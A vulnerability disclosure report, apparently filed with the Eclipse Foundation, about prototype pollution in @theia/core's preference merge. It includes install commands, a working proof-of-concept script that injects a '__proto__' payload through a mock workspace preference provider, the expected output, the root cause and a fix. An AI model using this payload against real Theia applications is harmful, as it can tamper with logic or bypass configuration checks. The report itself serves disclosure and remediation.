[Eclipse Theia] Prototype Pollution in @theia/core PreferenceService preference merge
## Affected Package `@theia/core` Verified affected versions: - `1.72.3` - `1.73.1` current npm latest ## Summary `@theia/core` exposes `PreferenceUtils.merge()` from the package root and uses it inside `PreferenceServiceImpl.doResolve()` to merge preference values from multiple scopes. The merge implementation iterates `Object.entries(target)` and assigns `source[key] = JSONExt.deepCopy(value)` without rejecting prototype-pollution keys. If a preference value object contains an own enumerable `__proto__` property, `source["__proto__"]` resolves to `Object.prototype`, and attacker-controlled nested properties are written onto `Object.prototype`. This is reachable through the real preference resolution flow, not only by calling a standalone utility function. `PreferenceServiceImpl.doResolve()` calls: ```js result.value = PreferenceUtils.merge(result.value, value); ``` for each preference provider/scope. ## Install ```sh mkdir theia-pref-pp && cd theia-pref-pp npm init -y npm i @theia/core@1.73.1 ``` ## PoC Create `poc.cjs`: ```js const { PreferenceServiceImpl, PreferenceScope } = require('@theia/core'); const svc = new PreferenceServiceImpl(); svc.schemaService = { validScopes: [PreferenceScope.User, PreferenceScope.Workspace] }; const userProvider = { canHandleScope: () => true, resolve: () => ({ configUri: 'user-settings.json', value: { safe: true } }) }; const workspaceProvider = { canHandleScope: () => true, resolve: () => ({ configUri: 'workspace-settings.json', value: JSON.parse( '{"__proto__":{"theiaPrefPP":"PWNED_VIA_PREFERENCE_SERVICE"}}' ) }) }; svc.preferenceProviders.set(PreferenceScope.User, userProvider); svc.preferenceProviders.set(PreferenceScope.Workspace, workspaceProvider); delete Object.prototype.theiaPrefPP; try { const resolved = svc.doResolve('any.preference', undefined); console.log('resolved value keys:', Object.keys(resolved.value || {}).join(',')); console.log(Object.prototype.theiaPrefPP); console.log(({}).theiaPrefPP); } finally { delete Object.prototype.theiaPrefPP; } ``` Run: ```sh node poc.cjs ``` Expected output: ```text resolved value keys: safe PWNED_VIA_PREFERENCE_SERVICE PWNED_VIA_PREFERENCE_SERVICE ``` ## Root Cause Affected code: `@theia/core/lib/common/preferences/preference-provider.js` ```js function merge(source, target) { if (source === undefined || !JSONExt.isObject(source)) { return JSONExt.deepCopy(target); } if (JSONExt.isPrimitive(target)) { return {}; } for (const [key, value] of Object.entries(target)) { if (key in source) { const sourceValue = source[key]; if (JSONExt.isObject(sourceValue) && JSONExt.isObject(value)) { merge(sourceValue, value); continue; } } source[key] = JSONExt.deepCopy(value); } return source; } ``` When `key` is `__proto__`, `source[key]` is `Object.prototype`. Because both `Object.prototype` and the attacker value are JSON objects, the recursive merge writes attacker-controlled fields to `Object.prototype`. Reachable code: `@theia/core/lib/common/preferences/preference-service.js` ```js result.value = PreferenceUtils.merge(result.value, value); ``` ## Impact Theia applications commonly resolve preferences from user, workspace, and folder configuration. If an attacker can influence a preference object loaded into a provider, such as workspace settings, remote/project configuration, extension-provided configuration, or imported preferences, resolving that preference can pollute `Object.prototype` inside the Theia frontend/backend process. This can affect later plain-object reads across the application and may cause logic tampering, unexpected inherited configuration values, authorization/configuration bypasses, or denial of service depending on host application behavior. ## Suggested Fix Reject prototype-pollution keys before reading, assigning, or recursing: - `__proto__` - `constructor` - `prototype` Also avoid `key in source` for untrusted keys and prefer own-property checks such as `Object.prototype.hasOwnProperty.call(source, key)`.
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent